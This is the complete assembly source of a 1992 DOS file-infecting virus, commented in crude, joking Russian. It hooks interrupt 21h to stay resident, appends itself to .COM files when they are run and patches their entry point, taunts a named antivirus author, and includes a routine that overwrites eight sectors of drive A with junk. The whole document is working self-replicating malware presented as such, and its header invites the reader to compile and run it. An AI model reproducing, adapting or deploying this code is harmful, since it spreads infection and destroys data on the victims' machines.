; ; Рекомендуется откомпилировать, запустить и только потом рассматривать ; source code. (Все равно Вам в нем разбираться придется :-)). ; ; Миленькая (маленькая) гадость, мерзость, дрянь, скотина... ; ; В общем, вирус, который заражает всякие там файлы при попытке их ; запустить - пока с фамилией .COM, живет где-то на чердаке под вектором ; 21-го интеррапта, не скрывает свое тело жирное в утесах, зараженные ; файлы опознает по шурикену (такой типа звездочки, используется у ; восточных народов для отсекания головы и еще кое-чего у ближнего ; своего), расположенному в 4-ом байте от начала, а свое наличие в ; памяти проверяет так: кладет в AX слово BABA (в смысле, не такое ; слово, а word 0BABAh), выполняет 21-е интерраптование и смотрит, ; желают ли эту бабу 0FACCh. Если желают, то с тачкой все понятно. ; ; Copyright (c) 1992, Gogi&Givi International ; jumps .model tiny .code org 0100h VirPar equ (endvir-StartVirus)/16+2 ; Скока у вируса параграфов VirLen equ (endvir-StartVirus) ; Размеры бюста вируса в ; треугольных километрах gadost: db 'ш' ; Ето код CALL dw StartVirus-$-2 ; А ето смещение на StartVirus db 15,09h ; Шурикен и остаток от mov ah, int 21h ; А это все нормальный ret ; код жертвы GoodMessage db 'Товарищ Лозинский! ФАК Ю!',13,10,'$' ; Пакостный мессадж для дяди ; Лозинского StartVirus: pop si ; Это чтобы узнать, куда нас call EntryPoint ; занесло EntryPoint: pop si ; Выпихнем адрес начала заразы push ds ; Сохраним пару-тройку регистров... push es push si mov ax,cs ; Восстановим спертые байты mov es,ax ; из задницы файла mov ds,ax mov di,0100h add si,RobbedBytes-EntryPoint mov cx,4 cld ; Это восстановление rep movsb pop si mov ax,0ABABh ; Проверим, хотят ли бабу - int 21h ; в смысле, есть ли мы cmp ax,0FAAFh ; в памяти jne NeedsBaba ; Видать, хотят ее, родимую! jmp FucksNow ; Ее уже обрабатывают NeedsBaba: pop es push es mov ax,es ; Отрываем себе сюгмент PSP dec ax mov es,ax ; Столько в нашей пакости mov ax,es:[3] ; параграфов sub ax,virpar mov es:[3],ax mov bx,es:[1] ; Плюс одна PSP add bx,ax ; Все сваливаем в кучу mov es,bx push ds ; Ну, это понятно xor ax,ax mov ds,ax mov ax,ds:[21h*4] ; Захватываем старый mov cs:[si+Off21-EntryPoint],ax ; вектор int 21h mov ax,ds:[21h*4+2] ; В смысле, он не старый, mov cs:[si+Seg21-EntryPoint],ax ; он даже лучше нового pop ds xor di,di ; Засовываем в начало push si ; ничейного сегмента sub si,EntryPoint-StartVirus ; где-то на задворках mov cx,VirLen ; памяти наше гнусное rep movsb ; тело pop si push ds ; И ставим на указанное xor ax,ax ; гнусное тело вектор mov ds,ax ; прерывания 21h mov word ptr ds:[21h*4],Int21Server-StartVirus mov ds:[21h*4+2],es pop ds FucksNow: pop es ; Это в случае, если pop ds ; предложенной женщиной mov si,0100h ; (вирусом) уже обладают push si xor ax,ax ; Все восстанавливаем к xor bx,bx ; ядрене Фене - и домой, xor di,di ; к маме ret Int21Server: pushf ; Это новый обработчик push ax ; 21-го инта push bx push ds cmp ax,0ABABh ; Тут мы установим реакцию jne NotTest ; на предложение женщины pop ds ; (или эрекцию) pop bx pop ax popf mov ax,0FAAFh ; Это нормальная эрекция iret ; (то есть реакция) NotTest: push cx ; Тут мы классно извратимся, mov cx,ax ; чтобы сделать вид, что xchg cl,ch ; нам совсем не нужно xor cl,4Bh ; обрабатывать функцию EXEC pop cx ; (Чтоб Лозинский голову ломал jz Exec ; и чтоб у него очки запотели) jmp NotExec Exec: mov bx,dx ; Покладем смещение имени ; запускаемого файла в BX SearchZero: cmp byte ptr ds:[bx],0 ; Проверим на зеру je ZeroFound ; Ах, конец имени! inc bx jmp SearchZero ZeroFound: sub bx,11 ; Чудесно! push es ; Проверим, вдруг какой- mov ax,cs ; нибудь псих желает mov es,ax ; заразить COMMAND.COM mov cx,11 mov di,offset CommandName-StartVirus Compare: mov al,ds:[bx] ; Это все сложная и нудная cmp al,es:[di] ; процедура проверки... jne NotCommand inc bx inc di dec cx ; Все проверяем, проверяем... cmp cx,0 jne Compare pop es jmp Quit21Server ; Что ж я - дебил COMMAND.COM ; заражать?! NotCommand: pop es ; Там мы сохраняли чегой-та push ax push bx ; Сохраним все, что плохо push cx ; лежит, чтобы не пропало push dx mov ax,3D02h ; Откупориваем клиента (файл) int 21h jc EndExec1 ; Бывают и гнутые пробки mov bx,ax ; Покладем пробку от файла в BX mov cx,4 ; Хотелось бы считать 4 байта mov ax,cs mov ds,ax mov ah,3Fh ; В место, где лежали mov dx,offset RobbedBytes-StartVirus int 21h ; спертые байты jc EndExec1 cmp word ptr cs:[RobbedBytes-StartVirus],'ZM' je CloseFile ; На фига EXE заражать??? xor cx,cx xor dx,dx mov ax,4202h int 21h ; Лезем в задницу файла cmp ax,1000 ; На фига нам файлы меньше jl CloseFile ; 1 кило? cmp ax,64000 ; А тем более больше 64 ja CloseFile sub ax,3 mov cs:[FileSize-StartVirus],ax ; Шурикена ? cmp byte ptr cs:[RobbedBytes-StartVirus+3],15 je CloseFile ; Икебана! mov ax,cs mov ds,ax mov ah,40h ; Глупый вирус робко прячет xor dx,dx ; тело жирное в заднице файла mov cx,VirLen int 21h xor cx,cx ; И в начало убегает, чтобы xor dx,dx ; JUMP туда поставить mov ax,4200h int 21h mov ah,40h mov dx,offset SuperByte-StartVirus ; Файл на то и файл, чтобы mov cx,4 ; вызывать подклеенный int 21h ; сзади вирус jmp CloseFile EndExec1: jmp EndExec mess1: db 'Hi! hello from MSS!',0dh,0ah,'$' str1 db ' HELLO FROM OVER1 ','$' game: mov al,0 ; Заносим в сщетчик 0 mov [count-0124h],al mov ax,0308h ; В AL - 8 секторов mov bx,offset endvir ; В BX - адрес мусора за хвостом mov dx,0000h mov cx,0001h int 13h ; Пишем на диск А 8 секторов jmp eee ; мусора и линяем. CloseFile: mov ah,3Eh ; Сие закрытие файла - нам int 21h ; он больше вааще не нужен push ds ; Обмен-великая вещщь push cs pop ds ; mov al,[count-0124h] ; А чаво у нас в сщетчике? ; inc al ; А как нащет +1 ? ; mov [count-0124h],al ; И запомним... ; cmp al,02h ; Ах, уже 14 трупов? ; jl eee ; Нет? Какая жалость... mov ah,09 ; Fuck'анемся... mov dx,offset mess1-0124h int 21h mov ah,0 ; mov al,0 ; устанавливаем 0 видеорежим int 10h ; mov ah,2 mov bh,0 mov dh,0 mov dl,10 int 10h ; позиционируем курсор на 0,10 mov ah,9 mov al,201 mov bl,01000010b mov bh,0 mov cx,1 int 10h ; выводим зелёный на красном '╔' в позиции курсора mov ah,2 mov bh,0 mov dh,0 mov dl,11 int 10h ; позиционируем на 0,11 mov ah,9 mov al,205 mov bl,01000010b mov bh,0 mov cx,20 int 10h ; выводим 20 зелёных на красном '═' mov ah,2 mov bh,0 mov dh,0 mov dl,31 int 10h ; позиционируем на 0,31 mov ah,9 mov al,187 mov bl,01000010b mov bh,0 mov cx,1 int 10h ; выводим '╗' mov ah,2 mov bh,0 mov dh,1 mov dl,10 int 10h ; позиционируем на 1,10 mov ah,9 mov bl,01000010b mov al,186 mov bh,0 mov cx,1 int 10h ; выводим '║' mov ah,2 mov dx,010bh int 10h mov ah,9 mov dx,offset str1 int 21h ; выводим приветствие 'str1' mov ah,2 mov bh,0 mov dh,1 mov dl,31 int 10h ; позиционируем на 1,31 mov ah,9 mov al,186 mov bl,01000010b mov bh,0 mov cx,1 int 10h ; выводим '║' mov ah,2 mov dh,2 mov dl,31 int 10h ; позиционируем на 2,31 mov ah,9 mov al,188 mov bl,01000010b mov bh,0 mov cx,1 int 10h ; выводим '╝' mov ah,2 mov dh,2 mov dl,10 int 10h ; позиционируем на 3,10 mov ah,9 mov al,200 mov bl,01000010b mov bh,0 mov cx,1 int 10h ; выводим '╚' mov ah,2 mov dh,2 mov dl,11 int 10h ; позиционируем на 2,11 mov ah,9 mov al,205 mov bl,01000010b mov bh,0 mov cx,20 int 10h ; выводим '═' ( 20 шт.) mov ah,2 mov dh,25 mov dl,0 int 10h ; уходим за страницу mov ah,2 mov bh,0 mov dh,24 mov dl,0 int 10h ; позиционируем на 24,0 MOV AL,2 mov ah,0 int 10h ; возвращаем старый видеорежим mov al,[count-0124h] cmp al,3 jz game ; Ура!!! Побежали издеваться! eee: pop ds ; Мой час уже близок,трепещи! EndExec: pop dx ; Мы там, кажись, сохраняли pop cx ; опять чегой-та? pop bx pop ax jmp Quit21Server ; И по бабам! NotExec: ; На случай следующих хамских разработок Quit21Server: pop ds ; Чем же мы только pop bx ; STACK'ан не наполняли?! pop ax popf ; Еще и флагами?!!! db 0EAh Off21 dw 0000h ; Так будет с каждым, кто... Seg21 dw 0000h RobbedBytes: mov dx,offset GoodMessage ; Это вроде как спертые байты db 0B4h SuperByte db 'ш' ; А это не спертые, но FileSize dw 0000h ; тоже хорошие db 15 ; Шурикена db '=>' ; Это для красоты CommandName db 'COMMAND.COM<=' ; А это от COMMAND.COM count db 1 dup (0) ; Ето есть сщетчик REG DB 1 DUP (0) endvir: end gadost ; И все!